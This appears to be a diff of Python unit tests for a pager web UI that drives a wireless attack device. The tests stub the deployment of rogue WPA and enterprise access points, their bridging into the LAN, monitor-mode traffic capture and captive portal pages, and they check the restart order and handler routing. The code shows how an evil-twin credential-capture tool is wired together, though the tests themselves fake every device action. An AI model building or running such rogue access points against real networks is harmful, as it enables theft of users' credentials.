name = self._import_blocked(raw)
root = os.path.join(self.tmp, name)
with open(os.path.join(root, 'index.php'), 'rb') as f:
self.assertEqual(f.read(), INDEX_PHP * 8)
self.assertTrue(os.path.isfile(
os.path.join(root, 'assets', 'style.css')))
def test_stored_zip_extracts_without_zipfile(self):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
zf.writestr('index.php', INDEX_PHP)
name = self._import_blocked(buf.getvalue())
self.assertTrue(os.path.isfile(
os.path.join(self.tmp, name, 'index.php')))
def test_nested_top_dir_flattens_without_zipfile(self):
raw = make_zip({'index.php': INDEX_PHP}, top_dir='portal-x')
name = self._import_blocked(raw)
self.assertEqual(name, 'portal-x')
self.assertFalse(os.path.isdir(
os.path.join(self.tmp, 'portal-x', 'portal-x')))
def test_garbage_raises_valueerror_without_zipfile(self):
with self.assertRaises(ValueError):
self._import_blocked(b'not a zip')
class Radio1BridgeTest(unittest.TestCase):
"""#3: radio1 attack APs join br-lan via network.brlan.ports."""
def setUp(self):
self.f = FakeUciDevice()
self.old_run = server.device_run
server.device_run = self.f.device_run
def tearDown(self):
server.device_run = self.old_run
def test_apply_wpa_adds_bridge_port(self):
server._apply_radio1_ap(None, {'ssid': 'Znet',
'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False,
'enabled': True, 'channel': 157})
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1wpa'])
cmds = [r for r, _ in self.f.runs]
self.assertIn(['uci', 'commit', 'network'], cmds)
def test_apply_open_adds_bridge_port(self):
server._apply_radio1_ap({'ssid': 'Znet-Open', 'hidden': False,
'enabled': True, 'channel': 36,
'bssid': '', 'country': 'US'}, None)
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1open'])
def test_remove_drops_both_bridge_ports(self):
self.f.lists['network.brlan.ports'] = ['eth0', 'wlan1wpa', 'wlan1open']
server._remove_radio1_ap()
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['eth0'])
class DeployPineapdRestartTest(unittest.TestCase):
"""#4/#5: pineapd restart (not reload) after mgmtiface/link wiring."""
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = lambda name: {}
server._verify_iface = lambda name, timeout=20: True
server._allow_all_ssids = lambda: True
server._best_channel_for = lambda ssid: None
self.capture_starts = []
self.capture_stops = []
self.old_cap_start = getattr(server, '_ensure_attack_capture', None)
self.old_cap_stop = getattr(server, '_teardown_attack_capture', None)
server._ensure_attack_capture = \
lambda iface: (self.capture_starts.append(iface) or
{'running': True, 'pid': 1, 'iface': iface})
server._teardown_attack_capture = \
lambda iface: self.capture_stops.append(iface)
self.tmp = tempfile.mkdtemp(prefix='mk8-fix45-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT',
'ENT_SERVER_KEY', 'ENT_LOG', 'ENT_CAPTURES',
'ENT_DH_FILE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'ent-state.json')
server.ENT_DIR = os.path.join(self.tmp, 'ent')
server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
os.makedirs(server.ENT_DIR, exist_ok=True)
for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
server.ENT_SERVER_KEY, server.ENT_DH_FILE):
with open(p, 'w') as f:
f.write('stub\n')
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
if self.old_cap_start is not None:
server._ensure_attack_capture = self.old_cap_start
else:
delattr(server, '_ensure_attack_capture')
if self.old_cap_stop is not None:
server._teardown_attack_capture = self.old_cap_stop
else:
delattr(server, '_teardown_attack_capture')
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp, ignore_errors=True)
def _runs(self):
return [r for r, _ in self.f.runs]
def test_wpa_5g_restarts_pineapd_after_mgmtiface_before_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
runs = self._runs()
mgmt = runs.index(['uci', 'set',
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
restarts = [i for i, r in enumerate(runs)
if r == ['/etc/init.d/pineapd', 'restart']]
self.assertEqual(len(restarts), 1)
# pineapd must learn mgmtiface at startup, i.e. after the uci write
self.assertGreater(restarts[0], mgmt)
def test_wpa_2g4_does_not_restart_pineapd(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self._runs())
def test_wpa_5g_autostarts_monitor_capture(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(self.capture_starts, ['wlan1mon'])
self.assertTrue(payload.get('capture'), 'deploy should report capture')
def test_wpa_2g4_skips_monitor_capture(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertEqual(self.capture_starts, [])
def test_stop_wpa_tears_down_monitor_capture(self):
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
self.assertEqual(status, 200)
self.assertIn('wlan1mon', self.capture_stops)
def test_enterprise_restart_after_link_and_bridges_iface(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2',
'passphrase': 'Winter2026Labs!', 'channel': 36}))
self.assertEqual(status, 200)
runs = self._runs()
bridge = runs.index(['brctl', 'addif', 'br-lan', 'wlan1ent'])
restarts = [i for i, r in enumerate(runs)
if r == ['/etc/init.d/pineapd', 'restart']]
self.assertEqual(len(restarts), 1)
# the ctrl link (and therefore the bridge add) precedes the restart
self.assertGreater(restarts[0], bridge)
+193
View File
@@ -0,0 +1,193 @@
"""Regression tests for round-2 validation findings (D1-D3).
D1 portal download must build the zip with struct+zlib, not zipfile
(python3-light has no zipfile; GET /api/portals/<name>/download 500s).
D2 the deploy-time auto-capture must survive post-deploy radio settle:
a revive pass re-arms the capture when it dies during bring-up.
D3 GET /api/attacks/capture must be routed to the status handler instead
of 404 (UI and scripts poll status).
"""
import io
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, args=()):
return type('C', (), {'body': body if body is not None else {},
'args': args, 'query': {}})()
class BlockZipfile:
"""Import hook simulating python3-light: importing zipfile raises."""
def find_spec(self, fullname, path=None, target=None):
if fullname == 'zipfile':
raise ImportError("No module named 'zipfile'")
return None
def without_zipfile(fn):
saved = sys.modules.pop('zipfile', None)
blocker = BlockZipfile()
sys.meta_path.insert(0, blocker)
try:
return fn()
finally:
sys.meta_path.remove(blocker)
if saved is not None:
sys.modules['zipfile'] = saved
class ZipCreateTest(unittest.TestCase):
"""D1: _zip_create builds archives readable by _zip_entries."""
def test_roundtrip_stored_entries(self):
files = {'index.php': b'<html>portal</html>', 'sub/a.ep': b'x' * 40}
data = server._zip_create(files)
self.assertEqual(server._zip_entries(data), files)
def test_output_is_standard_zip(self):
data = server._zip_create({'index.php': b'hello'})
with zipfile.ZipFile(io.BytesIO(data)) as zf:
self.assertEqual(zf.namelist(), ['index.php'])
self.assertEqual(zf.read('index.php'), b'hello')
def test_no_zipfile_import_needed(self):
def build():
return server._zip_create({'index.php': b'data'})
data = without_zipfile(build)
self.assertIn(b'PK\x03\x04', data[:4])
class PortalDownloadWithoutZipfileTest(unittest.TestCase):
"""D1: h_portal_download must work where zipfile is absent."""
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-d1-')
portal = os.path.join(self.tmp, 'p1')
os.makedirs(portal)
with open(os.path.join(portal, 'index.php'), 'w') as f:
f.write('<html><form method="post"></form></html>')
with open(os.path.join(portal, '.logs'), 'w') as f:
f.write('[log line]\n')
self.old_dir = server.PORTALS_DIR
server.PORTALS_DIR = self.tmp
def tearDown(self):
server.PORTALS_DIR = self.old_dir
shutil.rmtree(self.tmp, ignore_errors=True)
def test_download_returns_parseable_zip(self):
def run():
status, payload = server.h_portal_download(ctx(args=('p1',)))
return status, payload
result = without_zipfile(run)
status, payload = result
self.assertEqual(status, 200)
entries = server._zip_entries(payload.data)
self.assertIn('p1/index.php', entries)
self.assertIn(b'<form method="post">', entries['p1/index.php'])
def test_download_missing_portal_404(self):
status, payload = server.h_portal_download(ctx(args=('nope',)))
self.assertEqual(status, 404)
class CaptureReviveTest(unittest.TestCase):
"""D2: revive pass re-arms a dead auto-capture."""
def setUp(self):
self.started = []
self.old_state = server._capture_state
self.old_ensure = server._ensure_attack_capture
self.old_exists = os.path.exists
# Pretend the monitor iface exists (tests run off-device).
os.path.exists = lambda p: True
def tearDown(self):
os.path.exists = self.old_exists
server._capture_state = self.old_state
server._ensure_attack_capture = self.old_ensure
def test_revive_restarts_dead_capture(self):
states = iter([(False, 123, True)])
server._capture_state = lambda pf, iface: next(states)
server._ensure_attack_capture = \
lambda iface: self.started.append(iface) or {'running': True}
server._capture_revive_once('wlan1mon')
self.assertEqual(self.started, ['wlan1mon'])
def test_revive_skips_running_capture(self):
server._capture_state = lambda pf, iface: (True, 5, False)
def boom(iface):
raise AssertionError('must not restart a running capture')
server._ensure_attack_capture = boom
server._capture_revive_once('wlan1mon')
def test_revive_skips_when_iface_gone(self):
server._capture_state = lambda pf, iface: (False, 7, True)
os.path.exists = lambda p: 'net/wlan1mon' not in str(p) and \
self.old_exists(p)
server._ensure_attack_capture = \
lambda iface: self.started.append(iface) or None
server._capture_revive_once('wlan1mon')
self.assertEqual(self.started, [])
def test_deploy_schedules_revive_for_5g_wpa(self):
scheduled = []
old_sched = server._schedule_capture_revive
old_ensure = server._ensure_attack_capture
server._schedule_capture_revive = lambda iface='wlan1mon': \
scheduled.append(iface)
server._ensure_attack_capture = \
lambda iface: {'running': True, 'pid': 1, 'iface': iface}
try:
import tests.test_attacks as ta
harness = ta.AttacksDeployTest('test_deploy_wpa_5g_writes_radio1')
harness.setUp()
try:
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertTrue(payload['verified'])
self.assertEqual(scheduled, ['wlan1mon'])
finally:
harness.tearDown()
finally:
server._schedule_capture_revive = old_sched
server._ensure_attack_capture = old_ensure
class CaptureGetRouteTest(unittest.TestCase):
"""D3: GET /api/attacks/capture routes to the capture handler."""
def test_get_route_registered(self):
handler, groups = server.ROUTER.dispatch('GET', '/api/attacks/capture')
self.assertIsNotNone(handler,
'GET /api/attacks/capture is not routed')
self.assertEqual(handler, server.h_attacks_capture)
def test_status_without_body_reports_stopped_not_error(self):
status, payload = server.h_attacks_capture(
ctx(body=None))
self.assertEqual(status, 200)
self.assertFalse(payload.get('running'))
self.assertNotIn('error', payload)
if __name__ == '__main__':
unittest.main()